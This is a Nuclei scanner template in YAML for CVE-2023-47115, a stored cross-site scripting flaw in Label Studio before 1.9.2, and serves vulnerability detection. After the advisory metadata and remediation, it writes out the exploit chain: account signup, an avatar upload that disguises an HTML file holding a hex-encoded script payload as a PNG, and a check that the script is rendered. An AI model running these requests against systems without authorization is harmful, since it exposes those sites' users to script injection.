99 lines
3.3 KiB
YAML
99 lines
3.3 KiB
YAML
id: CVE-2023-47115
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info:
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name: Label Studio - Cross-Site Scripting
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author: isacaya
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severity: high
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description: |
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Versions prior to 1.9.2 have a cross-site scripting (XSS) vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website.
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impact: |
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Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image.
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remediation: |
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Update to version 1.9.2.
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reference:
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- https://github.com/advisories/GHSA-q68h-xwq5-mm7x
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- https://docs.djangoproject.com/en/4.2/ref/views/#serving-files-in-development
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- https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/users/functions.py#L18-L49
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- https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/users/urls.py#L25-L26
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- https://nvd.nist.gov/vuln/detail/CVE-2023-47115
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
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cvss-score: 7.1
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cve-id: CVE-2023-47115
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cwe-id: CWE-79
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cpe: cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 6
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shodan-query: http.favicon.hash:-1649949475
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product: label_studio
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vendor: humansignal
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tags: cve,cve2023,xss,authenticated,intrusive,label-studio
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http:
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- raw:
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- |
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GET /user/login/ HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /user/signup/?&next=/projects/ HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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csrfmiddlewaretoken={{csrftoken}}&email={{randstr_1}}%40{{randstr_1}}.{{randstr_1}}&password={{randstr_2}}&allow_newsletters=false
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- |
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GET /api/current-user/whoami HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /api/users/{{id}}/avatar/ HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytZZRQ9D2LS0PMsHF
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------WebKitFormBoundarytZZRQ9D2LS0PMsHF
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Content-Disposition: form-data; name="avatar"; filename="nuclei.html"
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Content-Type: image/png
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{{hex_decode("89504E470D0A1A0A0000000D4948445200000009000000080802000000A4AF42E200000046494441543C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E")}}
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------WebKitFormBoundarytZZRQ9D2LS0PMsHF
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- |
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GET /api/current-user/whoami HTTP/1.1
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Host: {{Hostname}}
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- |
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GET {{filename}} HTTP/1.1
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Host: {{Hostname}}
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extractors:
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- type: xpath
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name: csrftoken
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internal: true
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attribute: value
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xpath:
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- '/html/body/div/form/input'
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- type: json
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part: body
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name: id
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internal: true
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json:
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- '.id'
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- type: json
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part: body
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name: filename
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internal: true
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json:
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- '.avatar'
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matchers:
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- type: dsl
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dsl:
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- "status_code == 200"
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- "contains(header, 'text/html')"
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- 'contains(body, "<script>alert(document.domain)</script>")'
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condition: and
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# digest: 4a0a004730450221008a63bf96e345223566ebd44b47722d812ed3a0110ed507d07a2cf17bc1e91dd202200d10988de354df6f1b79559526e95dda1561688659e7bf72249417d044c950e6:922c64590222798bb761d5b6d8e72950 |